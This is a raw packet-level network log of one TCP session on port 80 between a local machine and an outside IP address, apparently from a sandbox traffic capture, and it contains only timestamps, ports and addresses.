Jan 11, 2025 05:30:03.367384911 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367389917 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.367394924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367408037 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367419004 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.367439032 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.367464066 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.368122101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368133068 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368151903 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368163109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368172884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368181944 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.368184090 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368197918 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368206024 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.368226051 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.368232012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368242979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368252993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.368269920 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.368294954 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.368309021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.369013071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.369024038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.369035006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.369057894 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.369087934 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.369088888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.374577999 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.378334999 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378381014 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378391981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378413916 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.378443003 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.378446102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378473997 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378493071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378504038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378516912 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378521919 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.378544092 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.378684044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378695011 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378705978 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378726959 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.378756046 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.378774881 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378792048 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378803968 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378814936 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378827095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.378835917 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.378860950 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.389811993 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.389811993 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.413382053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.413402081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.413413048 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.413424969 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.413438082 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.413484097 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.418276072 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.418323994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.418349028 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.418498993 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.426892996 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453279018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453321934 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453334093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453346968 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453345060 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453360081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453370094 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453380108 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453383923 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453392029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453421116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453430891 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453445911 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453449965 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453459978 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453474998 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453502893 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453560114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453571081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453582048 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453598976 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453609943 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453620911 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453629017 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453632116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453651905 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.453907967 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453938007 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.453947067 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.460705996 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493122101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493135929 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493146896 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493156910 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493169069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493170023 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493201971 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493246078 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493272066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493285894 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493297100 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493307114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493318081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493319988 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493355036 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493386984 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493401051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493432999 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493436098 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493448019 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493469000 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493546963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493598938 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493611097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493621111 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493623018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493634939 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493645906 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493668079 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493813992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493824005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493835926 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493859053 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493868113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493879080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493890047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493900061 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493917942 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493928909 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.493932009 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.493978977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494040012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494050980 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494061947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494071960 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494081974 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494082928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494103909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494105101 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494153976 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494477034 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494535923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494546890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494560957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494571924 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494606018 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494637012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494648933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494658947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494669914 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494680882 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494693041 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494704008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494714022 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494714022 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494725943 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.494745016 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.494764090 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.495228052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495239973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495250940 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495261908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495274067 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495275974 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.495285034 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495296955 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495306015 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.495325089 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.495340109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495352030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495362043 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495372057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495373964 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.495383024 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495395899 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.495395899 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495408058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495419979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.495430946 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.495457888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498156071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498173952 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498184919 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498194933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498204947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498215914 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498225927 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498238087 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498250008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498260975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498271942 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498276949 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498276949 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498276949 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498282909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498311043 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498311043 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498317003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498333931 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498344898 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498354912 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498359919 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498388052 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498528004 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498563051 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498564959 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498601913 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498611927 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498624086 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498640060 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498651028 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498665094 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498676062 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498698950 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498718977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498940945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498953104 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498963118 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498985052 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.498995066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.498997927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.499012947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.499023914 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.499034882 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.499046087 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.499054909 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.499083996 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.541927099 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542052031 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.542081118 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542102098 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542114019 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542125940 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542135954 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.542138100 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542150021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542161942 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542166948 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.542182922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542190075 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.542196035 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542208910 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542218924 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.542221069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542233944 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542248011 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.542252064 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.542273045 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.559191942 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.562875032 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.581671000 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581696987 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581707001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581757069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581756115 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.581774950 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581782103 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.581787109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581796885 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581809044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581815958 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.581819057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581830978 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581845045 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.581851006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581861973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581867933 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.581893921 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.581906080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581916094 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.581933975 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582120895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582138062 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582158089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582169056 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582174063 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582184076 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582190037 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582200050 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582200050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582209110 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582211971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582217932 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582230091 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582236052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582247972 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582252026 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582263947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582271099 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582278967 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582284927 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582299948 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582309961 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582314968 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582320929 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582326889 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582341909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582353115 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582360983 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582362890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582370996 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582382917 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582395077 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582421064 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582431078 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582441092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582477093 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582479954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582490921 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582500935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582506895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582516909 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582520962 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582545042 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582585096 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582590103 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582653999 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582688093 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582694054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582705021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582742929 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582768917 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582779884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582789898 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582801104 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582812071 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582875013 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582885981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582895994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582905054 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582906008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582916975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582922935 CET	49747	80	192.168.2.9	193.143.1.205
